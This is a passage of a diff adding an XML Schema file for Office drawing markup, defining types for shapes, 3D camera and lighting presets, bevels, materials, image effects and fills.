type="ST_ChartBuildStep" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_AnimationElementChoice"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="dgm" type="CT_AnimationDgmElement"/> + <xsd:element name="chart" type="CT_AnimationChartElement"/> + </xsd:choice> + </xsd:complexType> + <xsd:simpleType name="ST_AnimationBuildType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="allAtOnce"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AnimationDgmOnlyBuildType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="one"/> + <xsd:enumeration value="lvlOne"/> + <xsd:enumeration value="lvlAtOnce"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AnimationDgmBuildType"> + <xsd:union memberTypes="ST_AnimationBuildType ST_AnimationDgmOnlyBuildType"/> + </xsd:simpleType> + <xsd:complexType name="CT_AnimationDgmBuildProperties"> + <xsd:attribute name="bld" type="ST_AnimationDgmBuildType" use="optional" default="allAtOnce"/> + <xsd:attribute name="rev" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:simpleType name="ST_AnimationChartOnlyBuildType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="series"/> + <xsd:enumeration value="category"/> + <xsd:enumeration value="seriesEl"/> + <xsd:enumeration value="categoryEl"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AnimationChartBuildType"> + <xsd:union memberTypes="ST_AnimationBuildType ST_AnimationChartOnlyBuildType"/> + </xsd:simpleType> + <xsd:complexType name="CT_AnimationChartBuildProperties"> + <xsd:attribute name="bld" type="ST_AnimationChartBuildType" use="optional" default="allAtOnce"/> + <xsd:attribute name="animBg" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_AnimationGraphicalObjectBuildProperties"> + <xsd:choice> + <xsd:element name="bldDgm" type="CT_AnimationDgmBuildProperties"/> + <xsd:element name="bldChart" type="CT_AnimationChartBuildProperties"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_BackgroundFormatting"> + <xsd:sequence> + <xsd:group ref="EG_FillProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_EffectProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_WholeE2oFormatting"> + <xsd:sequence> + <xsd:element name="ln" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_EffectProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlUseShapeRectangle"/> + <xsd:complexType name="CT_GvmlTextShape"> + <xsd:sequence> + <xsd:element name="txBody" type="CT_TextBody" minOccurs="1" maxOccurs="1"/> + <xsd:choice> + <xsd:element name="useSpRect" type="CT_GvmlUseShapeRectangle" minOccurs="1" maxOccurs="1"/> + <xsd:element name="xfrm" type="CT_Transform2D" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlShapeNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvSpPr" type="CT_NonVisualDrawingShapeProps" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlShape"> + <xsd:sequence> + <xsd:element name="nvSpPr" type="CT_GvmlShapeNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="txSp" type="CT_GvmlTextShape" minOccurs="0" maxOccurs="1"/> + <xsd:element name="style" type="CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlConnectorNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvCxnSpPr" type="CT_NonVisualConnectorProperties" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlConnector"> + <xsd:sequence> + <xsd:element name="nvCxnSpPr" type="CT_GvmlConnectorNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlPictureNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvPicPr" type="CT_NonVisualPictureProperties" minOccurs="1" maxOccurs="1" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlPicture"> + <xsd:sequence> + <xsd:element name="nvPicPr" type="CT_GvmlPictureNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blipFill" type="CT_BlipFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlGraphicFrameNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGraphicFramePr" type="CT_NonVisualGraphicFrameProperties" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlGraphicalObjectFrame"> + <xsd:sequence> + <xsd:element name="nvGraphicFramePr" type="CT_GvmlGraphicFrameNonVisual" minOccurs="1" + maxOccurs="1"/> + <xsd:element ref="graphic" minOccurs="1" maxOccurs="1"/> + <xsd:element name="xfrm" type="CT_Transform2D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlGroupShapeNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGrpSpPr" type="CT_NonVisualGroupDrawingShapeProps" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GvmlGroupShape"> + <xsd:sequence> + <xsd:element name="nvGrpSpPr" type="CT_GvmlGroupShapeNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="grpSpPr" type="CT_GroupShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="txSp" type="CT_GvmlTextShape"/> + <xsd:element name="sp" type="CT_GvmlShape"/> + <xsd:element name="cxnSp" type="CT_GvmlConnector"/> + <xsd:element name="pic" type="CT_GvmlPicture"/> + <xsd:element name="graphicFrame" type="CT_GvmlGraphicalObjectFrame"/> + <xsd:element name="grpSp" type="CT_GvmlGroupShape"/> + </xsd:choice> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_PresetCameraType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="legacyObliqueTopLeft"/> + <xsd:enumeration value="legacyObliqueTop"/> + <xsd:enumeration value="legacyObliqueTopRight"/> + <xsd:enumeration value="legacyObliqueLeft"/> + <xsd:enumeration value="legacyObliqueFront"/> + <xsd:enumeration value="legacyObliqueRight"/> + <xsd:enumeration value="legacyObliqueBottomLeft"/> + <xsd:enumeration value="legacyObliqueBottom"/> + <xsd:enumeration value="legacyObliqueBottomRight"/> + <xsd:enumeration value="legacyPerspectiveTopLeft"/> + <xsd:enumeration value="legacyPerspectiveTop"/> + <xsd:enumeration value="legacyPerspectiveTopRight"/> + <xsd:enumeration value="legacyPerspectiveLeft"/> + <xsd:enumeration value="legacyPerspectiveFront"/> + <xsd:enumeration value="legacyPerspectiveRight"/> + <xsd:enumeration value="legacyPerspectiveBottomLeft"/> + <xsd:enumeration value="legacyPerspectiveBottom"/> + <xsd:enumeration value="legacyPerspectiveBottomRight"/> + <xsd:enumeration value="orthographicFront"/> + <xsd:enumeration value="isometricTopUp"/> + <xsd:enumeration value="isometricTopDown"/> + <xsd:enumeration value="isometricBottomUp"/> + <xsd:enumeration value="isometricBottomDown"/> + <xsd:enumeration value="isometricLeftUp"/> + <xsd:enumeration value="isometricLeftDown"/> + <xsd:enumeration value="isometricRightUp"/> + <xsd:enumeration value="isometricRightDown"/> + <xsd:enumeration value="isometricOffAxis1Left"/> + <xsd:enumeration value="isometricOffAxis1Right"/> + <xsd:enumeration value="isometricOffAxis1Top"/> + <xsd:enumeration value="isometricOffAxis2Left"/> + <xsd:enumeration value="isometricOffAxis2Right"/> + <xsd:enumeration value="isometricOffAxis2Top"/> + <xsd:enumeration value="isometricOffAxis3Left"/> + <xsd:enumeration value="isometricOffAxis3Right"/> + <xsd:enumeration value="isometricOffAxis3Bottom"/> + <xsd:enumeration value="isometricOffAxis4Left"/> + <xsd:enumeration value="isometricOffAxis4Right"/> + <xsd:enumeration value="isometricOffAxis4Bottom"/> + <xsd:enumeration value="obliqueTopLeft"/> + <xsd:enumeration value="obliqueTop"/> + <xsd:enumeration value="obliqueTopRight"/> + <xsd:enumeration value="obliqueLeft"/> + <xsd:enumeration value="obliqueRight"/> + <xsd:enumeration value="obliqueBottomLeft"/> + <xsd:enumeration value="obliqueBottom"/> + <xsd:enumeration value="obliqueBottomRight"/> + <xsd:enumeration value="perspectiveFront"/> + <xsd:enumeration value="perspectiveLeft"/> + <xsd:enumeration value="perspectiveRight"/> + <xsd:enumeration value="perspectiveAbove"/> + <xsd:enumeration value="perspectiveBelow"/> + <xsd:enumeration value="perspectiveAboveLeftFacing"/> + <xsd:enumeration value="perspectiveAboveRightFacing"/> + <xsd:enumeration value="perspectiveContrastingLeftFacing"/> + <xsd:enumeration value="perspectiveContrastingRightFacing"/> + <xsd:enumeration value="perspectiveHeroicLeftFacing"/> + <xsd:enumeration value="perspectiveHeroicRightFacing"/> + <xsd:enumeration value="perspectiveHeroicExtremeLeftFacing"/> + <xsd:enumeration value="perspectiveHeroicExtremeRightFacing"/> + <xsd:enumeration value="perspectiveRelaxed"/> + <xsd:enumeration value="perspectiveRelaxedModerately"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FOVAngle"> + <xsd:restriction base="ST_Angle"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="10800000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Camera"> + <xsd:sequence> + <xsd:element name="rot" type="CT_SphereCoords" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="prst" type="ST_PresetCameraType" use="required"/> + <xsd:attribute name="fov" type="ST_FOVAngle" use="optional"/> + <xsd:attribute name="zoom" type="ST_PositivePercentage" use="optional" default="100%"/> + </xsd:complexType> + <xsd:simpleType name="ST_LightRigDirection"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="tl"/> + <xsd:enumeration value="t"/> + <xsd:enumeration value="tr"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="bl"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="br"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_LightRigType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="legacyFlat1"/> + <xsd:enumeration value="legacyFlat2"/> + <xsd:enumeration value="legacyFlat3"/> + <xsd:enumeration value="legacyFlat4"/> + <xsd:enumeration value="legacyNormal1"/> + <xsd:enumeration value="legacyNormal2"/> + <xsd:enumeration value="legacyNormal3"/> + <xsd:enumeration value="legacyNormal4"/> + <xsd:enumeration value="legacyHarsh1"/> + <xsd:enumeration value="legacyHarsh2"/> + <xsd:enumeration value="legacyHarsh3"/> + <xsd:enumeration value="legacyHarsh4"/> + <xsd:enumeration value="threePt"/> + <xsd:enumeration value="balanced"/> + <xsd:enumeration value="soft"/> + <xsd:enumeration value="harsh"/> + <xsd:enumeration value="flood"/> + <xsd:enumeration value="contrasting"/> + <xsd:enumeration value="morning"/> + <xsd:enumeration value="sunrise"/> + <xsd:enumeration value="sunset"/> + <xsd:enumeration value="chilly"/> + <xsd:enumeration value="freezing"/> + <xsd:enumeration value="flat"/> + <xsd:enumeration value="twoPt"/> + <xsd:enumeration value="glow"/> + <xsd:enumeration value="brightRoom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LightRig"> + <xsd:sequence> + <xsd:element name="rot" type="CT_SphereCoords" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="rig" type="ST_LightRigType" use="required"/> + <xsd:attribute name="dir" type="ST_LightRigDirection" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Scene3D"> + <xsd:sequence> + <xsd:element name="camera" type="CT_Camera" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lightRig" type="CT_LightRig" minOccurs="1" maxOccurs="1"/> + <xsd:element name="backdrop" type="CT_Backdrop" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Backdrop"> + <xsd:sequence> + <xsd:element name="anchor" type="CT_Point3D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="norm" type="CT_Vector3D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="up" type="CT_Vector3D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_BevelPresetType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="relaxedInset"/> + <xsd:enumeration value="circle"/> + <xsd:enumeration value="slope"/> + <xsd:enumeration value="cross"/> + <xsd:enumeration value="angle"/> + <xsd:enumeration value="softRound"/> + <xsd:enumeration value="convex"/> + <xsd:enumeration value="coolSlant"/> + <xsd:enumeration value="divot"/> + <xsd:enumeration value="riblet"/> + <xsd:enumeration value="hardEdge"/> + <xsd:enumeration value="artDeco"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Bevel"> + <xsd:attribute name="w" type="ST_PositiveCoordinate" use="optional" default="76200"/> + <xsd:attribute name="h" type="ST_PositiveCoordinate" use="optional" default="76200"/> + <xsd:attribute name="prst" type="ST_BevelPresetType" use="optional" default="circle"/> + </xsd:complexType> + <xsd:simpleType name="ST_PresetMaterialType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="legacyMatte"/> + <xsd:enumeration value="legacyPlastic"/> + <xsd:enumeration value="legacyMetal"/> + <xsd:enumeration value="legacyWireframe"/> + <xsd:enumeration value="matte"/> + <xsd:enumeration value="plastic"/> + <xsd:enumeration value="metal"/> + <xsd:enumeration value="warmMatte"/> + <xsd:enumeration value="translucentPowder"/> + <xsd:enumeration value="powder"/> + <xsd:enumeration value="dkEdge"/> + <xsd:enumeration value="softEdge"/> + <xsd:enumeration value="clear"/> + <xsd:enumeration value="flat"/> + <xsd:enumeration value="softmetal"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Shape3D"> + <xsd:sequence> + <xsd:element name="bevelT" type="CT_Bevel" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bevelB" type="CT_Bevel" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extrusionClr" type="CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:element name="contourClr" type="CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="z" type="ST_Coordinate" use="optional" default="0"/> + <xsd:attribute name="extrusionH" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="contourW" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="prstMaterial" type="ST_PresetMaterialType" use="optional" + default="warmMatte"/> + </xsd:complexType> + <xsd:complexType name="CT_FlatText"> + <xsd:attribute name="z" type="ST_Coordinate" use="optional" default="0"/> + </xsd:complexType> + <xsd:group name="EG_Text3D"> + <xsd:choice> + <xsd:element name="sp3d" type="CT_Shape3D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="flatTx" type="CT_FlatText" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_AlphaBiLevelEffect"> + <xsd:attribute name="thresh" type="ST_PositiveFixedPercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_AlphaCeilingEffect"/> + <xsd:complexType name="CT_AlphaFloorEffect"/> + <xsd:complexType name="CT_AlphaInverseEffect"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_AlphaModulateFixedEffect"> + <xsd:attribute name="amt" type="ST_PositivePercentage" use="optional" default="100%"/> + </xsd:complexType> + <xsd:complexType name="CT_AlphaOutsetEffect"> + <xsd:attribute name="rad" type="ST_Coordinate" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_AlphaReplaceEffect"> + <xsd:attribute name="a" type="ST_PositiveFixedPercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_BiLevelEffect"> + <xsd:attribute name="thresh" type="ST_PositiveFixedPercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_BlurEffect"> + <xsd:attribute name="rad" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="grow" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_ColorChangeEffect"> + <xsd:sequence> + <xsd:element name="clrFrom" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="clrTo" type="CT_Color" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="useA" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_ColorReplaceEffect"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DuotoneEffect"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="2" maxOccurs="2"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GlowEffect"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="rad" type="ST_PositiveCoordinate" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_GrayscaleEffect"/> + <xsd:complexType name="CT_HSLEffect"> + <xsd:attribute name="hue" type="ST_PositiveFixedAngle" use="optional" default="0"/> + <xsd:attribute name="sat" type="ST_FixedPercentage" use="optional" default="0%"/> + <xsd:attribute name="lum" type="ST_FixedPercentage" use="optional" default="0%"/> + </xsd:complexType> + <xsd:complexType name="CT_InnerShadowEffect"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="blurRad" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="dist" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="dir" type="ST_PositiveFixedAngle" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_LuminanceEffect"> + <xsd:attribute name="bright" type="ST_FixedPercentage" use="optional" default="0%"/> + <xsd:attribute name="contrast" type="ST_FixedPercentage" use="optional" default="0%"/> + </xsd:complexType> + <xsd:complexType name="CT_OuterShadowEffect"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="blurRad" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="dist" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="dir" type="ST_PositiveFixedAngle" use="optional" default="0"/> + <xsd:attribute name="sx" type="ST_Percentage" use="optional" default="100%"/> + <xsd:attribute name="sy" type="ST_Percentage" use="optional" default="100%"/> + <xsd:attribute name="kx" type="ST_FixedAngle" use="optional" default="0"/> + <xsd:attribute name="ky" type="ST_FixedAngle" use="optional" default="0"/> + <xsd:attribute name="algn" type="ST_RectAlignment" use="optional" default="b"/> + <xsd:attribute name="rotWithShape" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:simpleType name="ST_PresetShadowVal"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="shdw1"/> + <xsd:enumeration value="shdw2"/> + <xsd:enumeration value="shdw3"/> + <xsd:enumeration value="shdw4"/> + <xsd:enumeration value="shdw5"/> + <xsd:enumeration value="shdw6"/> + <xsd:enumeration value="shdw7"/> + <xsd:enumeration value="shdw8"/> + <xsd:enumeration value="shdw9"/> + <xsd:enumeration value="shdw10"/> + <xsd:enumeration value="shdw11"/> + <xsd:enumeration value="shdw12"/> + <xsd:enumeration value="shdw13"/> + <xsd:enumeration value="shdw14"/> + <xsd:enumeration value="shdw15"/> + <xsd:enumeration value="shdw16"/> + <xsd:enumeration value="shdw17"/> + <xsd:enumeration value="shdw18"/> + <xsd:enumeration value="shdw19"/> + <xsd:enumeration value="shdw20"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PresetShadowEffect"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="prst" type="ST_PresetShadowVal" use="required"/> + <xsd:attribute name="dist" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="dir" type="ST_PositiveFixedAngle" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_ReflectionEffect"> + <xsd:attribute name="blurRad" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="stA" type="ST_PositiveFixedPercentage" use="optional" default="100%"/> + <xsd:attribute name="stPos" type="ST_PositiveFixedPercentage" use="optional" default="0%"/> + <xsd:attribute name="endA" type="ST_PositiveFixedPercentage" use="optional" default="0%"/> + <xsd:attribute name="endPos" type="ST_PositiveFixedPercentage" use="optional" default="100%"/> + <xsd:attribute name="dist" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="dir" type="ST_PositiveFixedAngle" use="optional" default="0"/> + <xsd:attribute name="fadeDir" type="ST_PositiveFixedAngle" use="optional" default="5400000"/> + <xsd:attribute name="sx" type="ST_Percentage" use="optional" default="100%"/> + <xsd:attribute name="sy" type="ST_Percentage" use="optional" default="100%"/> + <xsd:attribute name="kx" type="ST_FixedAngle" use="optional" default="0"/> + <xsd:attribute name="ky" type="ST_FixedAngle" use="optional" default="0"/> + <xsd:attribute name="algn" type="ST_RectAlignment" use="optional" default="b"/> + <xsd:attribute name="rotWithShape" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_RelativeOffsetEffect"> + <xsd:attribute name="tx" type="ST_Percentage" use="optional" default="0%"/> + <xsd:attribute name="ty" type="ST_Percentage" use="optional" default="0%"/> + </xsd:complexType> + <xsd:complexType name="CT_SoftEdgesEffect"> + <xsd:attribute name="rad" type="ST_PositiveCoordinate" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TintEffect"> + <xsd:attribute name="hue" type="ST_PositiveFixedAngle" use="optional" default="0"/> + <xsd:attribute name="amt" type="ST_FixedPercentage" use="optional" default="0%"/> + </xsd:complexType> + <xsd:complexType name="CT_TransformEffect"> + <xsd:attribute name="sx" type="ST_Percentage" use="optional" default="100%"/> + <xsd:attribute name="sy" type="ST_Percentage" use="optional" default="100%"/> + <xsd:attribute name="kx" type="ST_FixedAngle" use="optional" default="0"/> + <xsd:attribute name="ky" type="ST_FixedAngle" use="optional" default="0"/> + <xsd:attribute name="tx" type="ST_Coordinate" use="optional" default="0"/> + <xsd:attribute name="ty" type="ST_Coordinate" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_NoFillProperties"/> + <xsd:complexType name="CT_SolidColorFillProperties"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_LinearShadeProperties"> + <xsd:attribute name="ang" type="ST_PositiveFixedAngle" use="optional"/> + <xsd:attribute name="scaled" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_PathShadeType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="shape"/> + <xsd:enumeration value="circle"/> + <xsd:enumeration value="rect"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PathShadeProperties"> + <xsd:sequence> + <xsd:element name="fillToRect" type="CT_RelativeRect" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="path" type="ST_PathShadeType" use="optional"/> + </xsd:complexType> + <xsd:group name="EG_ShadeProperties"> + <xsd:choice> + <xsd:element name="lin" type="CT_LinearShadeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="path" type="CT_PathShadeProperties" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_TileFlipMode"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="x"/> + <xsd:enumeration value="y"/> + <xsd:enumeration value="xy"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_GradientStop"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="pos" type="ST_PositiveFixedPercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_GradientStopList"> + <xsd:sequence> + <xsd:element name="gs" type="CT_GradientStop" minOccurs="2" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GradientFillProperties"> + <xsd:sequence> + <xsd:element name="gsLst" type="CT_GradientStopList" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_ShadeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tileRect" type="CT_RelativeRect" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="flip" type="ST_TileFlipMode" use="optional" default="none"/> + <xsd:attribute name="rotWithShape" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TileInfoProperties"> + <xsd:attribute name="tx" type="ST_Coordinate" use="optional"/> + <xsd:attribute name="ty" type="ST_Coordinate" use="optional"/> + <xsd:attribute name="sx" type="ST_Percentage" use="optional"/> + <xsd:attribute name="sy" type="ST_Percentage" use="optional"/> + <xsd:attribute name="flip" type="ST_TileFlipMode" use="optional" default="none"/> + <xsd:attribute name="algn" type="ST_RectAlignment" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_StretchInfoProperties"> + <xsd:sequence> + <xsd:element name="fillRect" type="CT_RelativeRect" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_FillModeProperties"> + <xsd:choice> + <xsd:element name="tile" type="CT_TileInfoProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="stretch" type="CT_StretchInfoProperties" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_BlipCompression"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="email"/> + <xsd:enumeration value="screen"/> + <xsd:enumeration value="print"/> + <xsd:enumeration value="hqprint"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Blip"> + <xsd:sequence> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="alphaBiLevel" type="CT_AlphaBiLevelEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaCeiling" type="CT_AlphaCeilingEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaFloor" type="CT_AlphaFloorEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaInv" type="CT_AlphaInverseEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaMod" type="CT_AlphaModulateEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaModFix" type="CT_AlphaModulateFixedEffect" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="alphaRepl" type="CT_AlphaReplaceEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="biLevel" type="CT_BiLevelEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blur" type="CT_BlurEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="clrChange" type="CT_ColorChangeEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="clrRepl" 